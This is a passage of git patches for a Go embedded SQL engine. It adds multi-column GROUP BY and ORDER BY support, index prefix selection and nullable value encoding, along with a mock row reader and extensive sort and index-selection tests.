[]*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(time.Now())}}}, - }}, - }, + name: "TIMESTAMP", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), expectedType: reflect.TypeOf(time.Now()), }, { - name: "nil", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Null{}}}, - }}, - }, - expectedType: reflect.TypeOf(nil), - }, - { - name: "default", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: nil}}, - }}, - }, + name: "default", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{nil}), expectedType: reflect.TypeOf(""), }, { name: "no rows", - rows: Rows{ - index: 0, - rows: nil, + reader: &mockRowReader{ + rows: nil, }, expectedType: nil, }, @@ -364,7 +218,9 @@ func TestRows_ColumnTypeScanType(t *testing.T) { for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { - vt := tt.rows.ColumnTypeScanType(0) + rows := newRows(tt.reader) + + vt := rows.ColumnTypeScanType(0) require.Equal(t, tt.expectedType, vt) }) } @@ -442,7 +298,7 @@ func TestRows_convertToPlainVals(t *testing.T) { func TestEmptyRowsForColumns(t *testing.T) { r := Rows{ - columns: []*schema.Column{ + columns: []client.Column{ { Name: "(defaultdb.emptytable.id)", }, @@ -456,3 +312,39 @@ func TestEmptyRowsForColumns(t *testing.T) { require.Equal(t, "id", ast[0]) require.Equal(t, "name", ast[1]) } + +type mockRowReader struct { + client.SQLQueryRowReader + + columns []client.Column + rows []client.Row + nextRow int +} + +func newMockRowReader(cols []client.Column, rows []client.Row) *mockRowReader { + return &mockRowReader{ + columns: cols, + rows: rows, + } +} + +func (r *mockRowReader) Next() bool { + if r.nextRow+1 < len(r.rows) { + r.nextRow++ + return true + } + return false +} + +func (r *mockRowReader) Columns() []client.Column { + return r.columns +} + +func (r *mockRowReader) Read() (client.Row, error) { + if r.nextRow >= len(r.rows) { + return nil, sql.ErrNoMoreRows + } + + row := r.rows[r.nextRow] + return row, nil +} From fd9d1bbbbb695bb9525459c33b10f7811f2d4dc4 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 14 May 2024 14:43:27 +0200 Subject: [PATCH 1012/1062] Extend support of group by and order by clause Signed-off-by: Stefano Scafiti --- embedded/sql/catalog.go | 86 ++- embedded/sql/dummy_data_source_test.go | 6 +- embedded/sql/engine.go | 22 +- embedded/sql/engine_test.go | 935 ++++++++++++++++++++----- embedded/sql/file_sort.go | 16 +- embedded/sql/grouped_row_reader.go | 325 +++++---- embedded/sql/parser_test.go | 23 + embedded/sql/row_reader.go | 11 +- embedded/sql/sort_reader.go | 69 +- embedded/sql/sort_reader_test.go | 7 +- embedded/sql/sql_grammar.y | 4 +- embedded/sql/sql_parser.go | 176 ++--- embedded/sql/stmt.go | 258 ++++--- 13 files changed, 1362 insertions(+), 576 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 7f99a34c41..8865e245ca 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -260,11 +260,61 @@ func (i *Index) enginePrefix() []byte { return i.table.catalog.enginePrefix } -func (i *Index) sortableUsing(colID uint32, rangesByColID map[uint32]*typedValueRange) bool { +func (i *Index) coversOrdCols(ordCols []*OrdCol, rangesByColID map[uint32]*typedValueRange) bool { + if !ordColumnsHaveSameDirection(ordCols) { + return false + } + return i.hasPrefix(i.cols, ordCols) || i.sortableUsing(ordCols, rangesByColID) +} + +func ordColumnsHaveSameDirection(cols []*OrdCol) bool { + if len(cols) == 0 { + return true + } + + desc := cols[0].descOrder + for _, ordCol := range cols[1:] { + if ordCol.descOrder != desc { + return false + } + } + return true +} + +func (i *Index) hasPrefix(columns []*Column, ordCols []*OrdCol) bool { + if len(ordCols) > len(columns) { + return false + } + + for j, ordCol := range ordCols { + aggFn, _, colName := ordCol.sel.resolve(i.table.Name()) + if len(aggFn) > 0 { + return false + } + + col, err := i.table.GetColumnByName(colName) + if err != nil || col.id != columns[j].id { + return false + } + } + return true +} + +func (i *Index) sortableUsing(columns []*OrdCol, rangesByColID map[uint32]*typedValueRange) bool { // all columns before colID must be fixedValues otherwise the index can not be used - for _, col := range i.cols { - if col.id == colID { - return true + aggFn, _, colName := columns[0].sel.resolve(i.table.Name()) + if len(aggFn) > 0 { + return false + } + + firstCol, err := i.table.GetColumnByName(colName) + if err != nil { + return false + } + + for j, col := range i.cols { + if col.id == firstCol.id { + return i.hasPrefix(i.cols[j:], columns) } colRange, ok := rangesByColID[col.id] @@ -1255,20 +1305,30 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b } func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { - return EncodeRawValue(val.RawValue(), colType, maxLen) + return EncodeRawValue(val.RawValue(), colType, maxLen, false) +} + +func EncodeNullableValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { + return EncodeRawValue(val.RawValue(), colType, maxLen, true) } // EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. -func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { +func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int, nullable bool) ([]byte, error) { convVal, err := mayApplyImplicitConversion(val, colType) if err != nil { return nil, err } - if convVal == nil { + if convVal == nil && !nullable { return nil, ErrInvalidValue } + if convVal == nil { + encv := make([]byte, EncLenLen) + binary.BigEndian.PutUint32(encv[:], uint32(0)) + return encv, nil + } + switch colType { case VarcharType: { @@ -1405,11 +1465,23 @@ func DecodeValueLength(b []byte) (int, int, error) { } func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { + return decodeValue(b, colType, false) +} + +func DecodeNullableValue(b []byte, colType SQLValueType) (TypedValue, int, error) { + return decodeValue(b, colType, true) +} + +func decodeValue(b []byte, colType SQLValueType, nullable bool) (TypedValue, int, error) { vlen, voff, err := DecodeValueLength(b) if err != nil { return nil, 0, err } + if vlen == 0 && nullable { + return &NullValue{t: colType}, voff, nil + } + switch colType { case VarcharType: { diff --git a/embedded/sql/dummy_data_source_test.go b/embedded/sql/dummy_data_source_test.go index c97aceece7..332c1fe036 100644 --- a/embedded/sql/dummy_data_source_test.go +++ b/embedded/sql/dummy_data_source_test.go @@ -5,7 +5,7 @@ SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - https://mariadb.com/bsl11/ + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, @@ -15,7 +15,9 @@ limitations under the License. */ package sql -import "context" +import ( + "context" +) type dummyDataSource struct { inferParametersFunc func(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index f33e24f6f2..e6850465c3 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -59,8 +59,7 @@ var ErrInvalidNumberOfValues = errors.New("invalid number of values provided") var ErrInvalidValue = errors.New("invalid value provided") var ErrInferredMultipleTypes = errors.New("inferred multiple types") var ErrExpectingDQLStmt = errors.New("illegal statement. DQL statement expected") -var ErrLimitedOrderBy = errors.New("order by is limited to one column") -var ErrLimitedGroupBy = errors.New("group by requires ordering by the grouping column") +var ErrColumnMustAppearInGroupByOrAggregation = errors.New("must appear in the group by clause or be used in an aggregated function") var ErrIllegalMappedKey = errors.New("error illegal mapped key") var ErrCorruptedData = store.ErrCorruptedData var ErrBrokenCatalogColSpecExpirable = fmt.Errorf("%w: catalog column entry set as expirable", ErrCorruptedData) @@ -514,24 +513,7 @@ func (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map } defer reader.Close() - return readAllRows(ctx, reader) -} - -func readAllRows(ctx context.Context, reader RowReader) ([]*Row, error) { - rows := make([]*Row, 0, 100) - for { - row, err := reader.Read(ctx) - if err == ErrNoMoreRows { - break - } - - if err != nil { - return nil, err - } - - rows = append(rows, row) - } - return rows, nil + return ReadAllRows(ctx, reader) } func (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) { diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1594c9e305..1e059b10c6 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -3062,6 +3062,152 @@ func TestQueryDistinct(t *testing.T) { }) } +func TestIndexSelection(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( + v0 INTEGER, + v1 INTEGER, + v2 INTEGER, + v3 INTEGER, + v4 INTEGER, + v5 INTEGER, + + PRIMARY KEY (v0, v1) + )`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(v1, v2, v3, v4)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(v3, v4)", nil) + require.NoError(t, err) + + type test struct { + query string + expectedIndex []string + expectedGroupBySortCols []string + expectedOrderBySortCols []string + desc bool + } + + testCases := []test{ + { + query: "SELECT * FROM table1", + expectedIndex: []string{"v0", "v1"}, + }, + { + query: "SELECT * FROM table1 ORDER BY v1", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + }, + { + query: "SELECT * FROM table1 WHERE v0 = 0 ORDER BY v1", + expectedIndex: []string{"v0", "v1"}, + }, + { + query: "SELECT * FROM table1 ORDER BY v5 DESC", + expectedIndex: []string{"v0", "v1"}, + expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v5")}, + }, + { + query: "SELECT * FROM table1 ORDER BY v1, v2, v3", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + }, + { + query: "SELECT * FROM table1 WHERE v1 = 0 AND v2 = 1 ORDER BY v3 DESC", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + desc: true, + }, + { + query: "SELECT * FROM table1 ORDER BY v3 DESC, v4 DESC", + expectedIndex: []string{"v3", "v4"}, + desc: true, + }, + { + query: "SELECT * FROM table1 ORDER BY v3 DESC, v4 ASC", + expectedIndex: []string{"v0", "v1"}, + expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, + }, + { + query: "SELECT * FROM table1 USE INDEX ON (v1, v2, v3, v4) ORDER BY v3 DESC, v4 DESC", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v3", + expectedIndex: []string{"v0", "v1"}, + expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v3")}, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v3 DESC", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v3")}, + }, + { + query: "SELECT COUNT(*) FROM table1 WHERE v1 = 0 AND v2 = 1 GROUP BY v2, v3 ORDER BY v3 DESC", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + desc: true, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v2 DESC", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + desc: true, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1, v2, v3, COUNT(*)", + expectedIndex: []string{"v1", "v2", "v3", "v4"}, + expectedOrderBySortCols: []string{ + EncodeSelector("", "table1", "v1"), + EncodeSelector("", "table1", "v2"), + EncodeSelector("", "table1", "v3"), + EncodeSelector("COUNT", "table1", "*"), + }, + }, + { + query: "SELECT COUNT(*) FROM table1 GROUP BY v4, v3 ORDER BY v3 DESC, v4 DESC", + expectedIndex: []string{"v0", "v1"}, + expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v4"), EncodeSelector("", "table1", "v3")}, + expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, + }, + { + query: "SELECT COUNT(*) FROM table1 USE INDEX ON(v3, v4) GROUP BY v1, v2 ORDER BY v1 DESC, v2 DESC", + expectedIndex: []string{"v3", "v4"}, + expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v2")}, + }, + } + + for i, testCase := range testCases { + t.Run(fmt.Sprintf("test index selection %d", i), func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, testCase.query, nil) + require.NoError(t, err) + defer reader.Close() + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, len(testCase.expectedIndex)) + require.Equal(t, specs.DescOrder, testCase.desc) + require.Len(t, specs.groupBySortColumns, len(testCase.expectedGroupBySortCols)) + require.Len(t, specs.orderBySortCols, len(testCase.expectedOrderBySortCols)) + + for i, col := range testCase.expectedIndex { + require.Equal(t, col, specs.Index.cols[i].Name()) + } + + for i, col := range testCase.expectedGroupBySortCols { + require.Equal(t, col, EncodeSelector(specs.groupBySortColumns[i].sel.resolve("table1"))) + } + + for i, col := range testCase.expectedOrderBySortCols { + require.Equal(t, col, EncodeSelector(specs.orderBySortCols[i].sel.resolve("table1"))) + } + }) + } +} + func TestIndexing(t *testing.T) { engine := setupCommonTest(t) @@ -3343,7 +3489,6 @@ func TestIndexing(t *testing.T) { require.NotNil(t, scanSpecs) require.Len(t, scanSpecs.Index.cols, 1) require.Equal(t, scanSpecs.Index.cols[0].colName, "ts") - require.True(t, scanSpecs.SortRequired) err = r.Close() require.NoError(t, err) @@ -3650,11 +3795,21 @@ func TestOrderBy(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id)", nil) - require.NoError(t, err) + _, _, err = engine.Exec( + context.Background(), + nil, + `CREATE TABLE table1 ( + id INTEGER, + title VARCHAR[100], + age INTEGER, + height FLOAT, + created_at TIMESTAMP, - _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY id, title DESC", nil) - require.ErrorIs(t, err, ErrLimitedOrderBy) + PRIMARY KEY id + )`, + nil, + ) + require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table2 ORDER BY title", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -3663,217 +3818,292 @@ func TestOrderBy(t *testing.T) { require.ErrorIs(t, err, ErrColumnDoesNotExist) rowCount := 100 + rand.Intn(engine.sortBufferSize-100) // [100, sortBufferSize] - for i := 0; i < rowCount; i++ { - params := make(map[string]interface{}, 3) - params["id"] = i + 3 - params["title"] = fmt.Sprintf("title%d", i) - params["age"] = 40 + i - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params) - require.NoError(t, err) - } + for id := 1; id <= rowCount; id++ { + rand.Seed(int64(id)) - t.Run("ascending order by should be executed using in-memory sorting", func(t *testing.T) { - reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) + params := map[string]interface{}{ + "id": id, + "title": fmt.Sprintf("title%d", rand.Intn(100)), + "age": rand.Intn(100), + "height": rand.Float64() * 200, + "created": time.Unix(rand.Int63n(100000), 0).UTC(), + } + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, created_at) VALUES (@id, @title, @age, @height, @created)", params) require.NoError(t, err) - defer reader.Close() + } - rows, err := readAllRows(context.Background(), reader) - require.NoError(t, err) + checkDataItegrity := func(t *testing.T, rows []*Row, table string) { require.Len(t, rows, rowCount) - tx := reader.Tx() - require.Len(t, tx.tempFiles, 0) + ids := make(map[int64]struct{}) + for _, row := range rows { + id := row.ValuesBySelector[EncodeSelector("", table, "id")].RawValue().(int64) + rand.Seed(int64(id)) - isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - v1 := rows[i].ValuesByPosition[2].RawValue().(int64) - v2 := rows[j].ValuesByPosition[2].RawValue().(int64) - return v1 < v2 - }) - require.True(t, isSorted) - }) + title := row.ValuesBySelector[EncodeSelector("", table, "title")].RawValue().(string) + age := row.ValuesBySelector[EncodeSelector("", table, "age")].RawValue().(int64) + height := row.ValuesBySelector[EncodeSelector("", table, "height")].RawValue().(float64) + created := row.ValuesBySelector[EncodeSelector("", table, "created_at")].RawValue().(time.Time).UTC() - t.Run("descending order by should be executed using in-memory sorting", func(t *testing.T) { - reader, err := engine.Query(context.Background(), nil, "SELECT title, age FROM table1 ORDER BY title DESC", nil) - require.NoError(t, err) - defer reader.Close() + require.Equal(t, fmt.Sprintf("title%d", rand.Intn(100)), title) + require.Equal(t, int64(rand.Intn(100)), age) + require.Equal(t, rand.Float64()*200, height) + require.Equal(t, time.Unix(rand.Int63n(100000), 0).UTC(), created) - rows, err := readAllRows(context.Background(), reader) - require.NoError(t, err) - require.Len(t, rows, rowCount) + _, exists := ids[id] + require.False(t, exists) - tx := reader.Tx() - require.Len(t, tx.tempFiles, 0) + ids[id] = struct{}{} + } - isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - v1 := rows[i].ValuesByPosition[0].RawValue().(string) - v2 := rows[j].ValuesByPosition[0].RawValue().(string) - return v1 >= v2 - }) - require.True(t, isSorted) - }) + for id := 1; id <= rowCount; id++ { + _, exists := ids[int64(id)] + require.True(t, exists) + } + } - t.Run("ascending order by should be executed using file sorting", func(t *testing.T) { - engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] + type test struct { + columns []string + directions []int + expectedIndex []string + } - reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) + testCases := []test{ + { + columns: []string{"age"}, + directions: []int{1}, + }, + { + columns: []string{"created_at"}, + directions: []int{-1}, + }, + { + columns: []string{"title", "age"}, + directions: []int{-1, 1}, + }, + { + columns: []string{"age", "title", "height"}, + directions: []int{1, -1, 1}, + }, + } + + runTest := func(t *testing.T, test *test, expectedTempFiles int) []*Row { + orderByCols := make([]string, len(test.columns)) + for i, col := range test.columns { + orderByCols[i] = col + " " + directionToSql(test.directions[i]) + } + + reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT * FROM table1 ORDER BY %s", strings.Join(orderByCols, ",")), nil) require.NoError(t, err) defer reader.Close() - rows, err := readAllRows(context.Background(), reader) + rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) - tx := reader.Tx() - require.Len(t, tx.tempFiles, 2) + selectors := make([]string, len(test.columns)) + for i, col := range test.columns { + selectors[i] = EncodeSelector("", "table1", col) + } - isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - v1 := rows[i].ValuesByPosition[2].RawValue().(int64) - v2 := rows[j].ValuesByPosition[2].RawValue().(int64) - return v1 < v2 - }) - require.True(t, isSorted) - }) + specs := reader.ScanSpecs() - t.Run("descending order by should be executed using file sorting", func(t *testing.T) { - engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] + if test.expectedIndex != nil { + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, len(test.expectedIndex)) - reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title DESC", nil) - require.NoError(t, err) - defer reader.Close() + for i, col := range test.expectedIndex { + require.Equal(t, col, specs.Index.cols[i].Name()) + } + } else { + require.Len(t, specs.orderBySortCols, len(orderByCols)) + for i, col := range specs.orderBySortCols { + require.Equal(t, selectors[i], EncodeSelector(col.sel.resolve("table1"))) + } + } - rows, err := readAllRows(context.Background(), reader) - require.NoError(t, err) - require.Len(t, rows, rowCount) + checkRowsAreSorted(t, rows, selectors, test.directions) + checkDataItegrity(t, rows, "table1") tx := reader.Tx() - require.Len(t, tx.tempFiles, 2) + require.Len(t, tx.tempFiles, expectedTempFiles) - isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - v1 := rows[i].ValuesByPosition[1].RawValue().(string) - v2 := rows[j].ValuesByPosition[1].RawValue().(string) - return v1 >= v2 + return rows + } + + for _, test := range testCases { + t.Run(fmt.Sprintf("order by on %s should be executed using in memory sort", strings.Join(test.columns, ",")), func(t *testing.T) { + runTest(t, &test, 0) }) - require.True(t, isSorted) - }) + } + + engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] + + for _, test := range testCases { + t.Run(fmt.Sprintf("order by on %s should be executed using file sort", strings.Join(test.columns, ",")), func(t *testing.T) { + runTest(t, &test, 2) + }) + } t.Run("order by on top of subquery", func(t *testing.T) { - rows, err := engine.queryAll(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) + reader, err := engine.Query(context.Background(), nil, "SELECT age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) - isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - v1 := rows[i].ValuesByPosition[2].RawValue().(int64) - v2 := rows[j].ValuesByPosition[2].RawValue().(int64) - return v1 >= v2 - }) - require.True(t, isSorted) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "t1", "age")}, []int{-1}) }) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) - params := make(map[string]interface{}, 1) - params["age"] = nil - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (1, 'title', @age)", params) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title, age)", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title) VALUES (2, 'title')", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age, title, height)", nil) require.NoError(t, err) - t.Run("ascending order by should be executed using index", func(t *testing.T) { - r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title", nil) - require.NoError(t, err) + testCases = []test{ + { + columns: []string{"age"}, + directions: []int{1}, + expectedIndex: []string{"age"}, + }, + { + columns: []string{"title"}, + directions: []int{-1}, + expectedIndex: []string{"title", "age"}, + }, + { + columns: []string{"title", "age"}, + directions: []int{1, 1}, + expectedIndex: []string{"title", "age"}, + }, + { + columns: []string{"age", "title"}, + directions: []int{-1, -1, -1}, + expectedIndex: []string{"age", "title", "height"}, + }, + } - orderBy := r.OrderBy() - require.NotNil(t, orderBy) - require.Len(t, orderBy, 1) - require.Equal(t, "title", orderBy[0].Column) - require.Equal(t, "table1", orderBy[0].Table) - scanSpecs := r.ScanSpecs() - require.False(t, scanSpecs.SortRequired) + for _, test := range testCases { + t.Run(fmt.Sprintf("order by on %s should be executed using index", strings.Join(test.columns, ",")), func(t *testing.T) { + runTest(t, &test, 0) + }) + } - row, err := r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + t.Run("order by with preferred index", func(t *testing.T) { + t.Run("sorting required", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title ASC, age DESC", nil) + require.NoError(t, err) + defer reader.Close() - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + specs := reader.ScanSpecs() - row, err = r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + require.Len(t, specs.orderBySortCols, 2) + require.Equal(t, EncodeSelector(specs.orderBySortCols[0].sel.resolve("table1")), EncodeSelector("", "table1", "title")) + require.Equal(t, EncodeSelector(specs.orderBySortCols[1].sel.resolve("table1")), EncodeSelector("", "table1", "age")) - titles := make([]string, 0, rowCount) - for i := 0; i < rowCount; i++ { - row, err := r.Read(context.Background()) - require.NoError(t, err) - require.NotNil(t, row) - require.Len(t, row.ValuesBySelector, 3) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{1, -1}) + checkDataItegrity(t, rows, "table1") + }) - id := row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue().(int64) - title := row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue().(string) + t.Run("sorting not required", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title DESC, age DESC", nil) + require.NoError(t, err) + defer reader.Close() - titles = append(titles, title) + specs := reader.ScanSpecs() - j, err := strconv.ParseInt(strings.TrimPrefix(title, "title"), 10, 64) + rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) - require.Equal(t, j+3, id) - } + require.Len(t, rows, rowCount) + require.Len(t, specs.orderBySortCols, 0) + + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, 2) - isSorted := sort.SliceIsSorted(titles, func(i, j int) bool { - return titles[i] < titles[j] + require.Equal(t, "title", specs.Index.cols[0].Name()) + require.Equal(t, "age", specs.Index.cols[1].Name()) + + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{-1, -1}) + checkDataItegrity(t, rows, "table1") }) - require.True(t, isSorted) - err = r.Close() - require.NoError(t, err) }) - t.Run("descending order by should be executed using index", func(t *testing.T) { - r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age DESC", nil) + nullValues := 1 + rand.Intn(10) + for i := 1; i <= nullValues; i++ { + params := map[string]interface{}{ + "id": rowCount + i, + "title": nil, + "age": nil, + "height": nil, + "created": nil, + } + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, created_at) VALUES (@id, @title, @age, @height, @created)", params) require.NoError(t, err) + } - orderBy := r.OrderBy() - require.NotNil(t, orderBy) - require.Len(t, orderBy, 1) - require.Equal(t, "age", orderBy[0].Column) - require.Equal(t, "table1", orderBy[0].Table) - scanSpecs := r.ScanSpecs() - require.False(t, scanSpecs.SortRequired) + t.Run("order by with null values", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age, height, created_at FROM table1 ORDER BY title, id", nil) + require.NoError(t, err) + defer reader.Close() - ages := make([]int64, 0, rowCount+2) - for i := 0; i < rowCount; i++ { - row, err := r.Read(context.Background()) - require.NoError(t, err) - require.NotNil(t, row) - require.Len(t, row.ValuesBySelector, 3) + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount+nullValues) - id := row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue().(int64) - title := row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue().(string) - age := row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue().(int64) + for i := 1; i <= nullValues; i++ { + row := rows[i-1] + require.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+rowCount)) - ages = append(ages, age) + for _, v := range row.ValuesByPosition[1:] { + require.Nil(t, v.RawValue()) + } + } - j, err := strconv.ParseInt(strings.TrimPrefix(title, "title"), 10, 64) - require.NoError(t, err) - require.Equal(t, j+3, id) + tx := reader.Tx() + require.Len(t, tx.tempFiles, 2) + + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "id")}, []int{1, 1}) + checkDataItegrity(t, rows[nullValues:], "table1") + }) +} + +func directionToSql(direction int) string { + if direction == 1 { + return "ASC" + } + return "DESC" +} + +func checkRowsAreSorted(t *testing.T, rows []*Row, selectors []string, directions []int) { + k1 := make(Tuple, len(selectors)) + k2 := make(Tuple, len(selectors)) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + for idx, sel := range selectors { + k1[idx] = rows[i].ValuesBySelector[sel] + k2[idx] = rows[j].ValuesBySelector[sel] } - isSorted := sort.SliceIsSorted(ages, func(i, j int) bool { - return ages[i] >= ages[j] - }) - require.True(t, isSorted) - err = r.Close() + res, idx, err := Tuple(k1).Compare(k2) require.NoError(t, err) + + if idx >= 0 { + return res*directions[idx] < 0 + } + return false }) + require.True(t, isSorted) } func TestQueryWithRowFiltering(t *testing.T) { @@ -4265,8 +4495,8 @@ func TestCount(t *testing.T) { err = r.Close() require.NoError(t, err) - _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 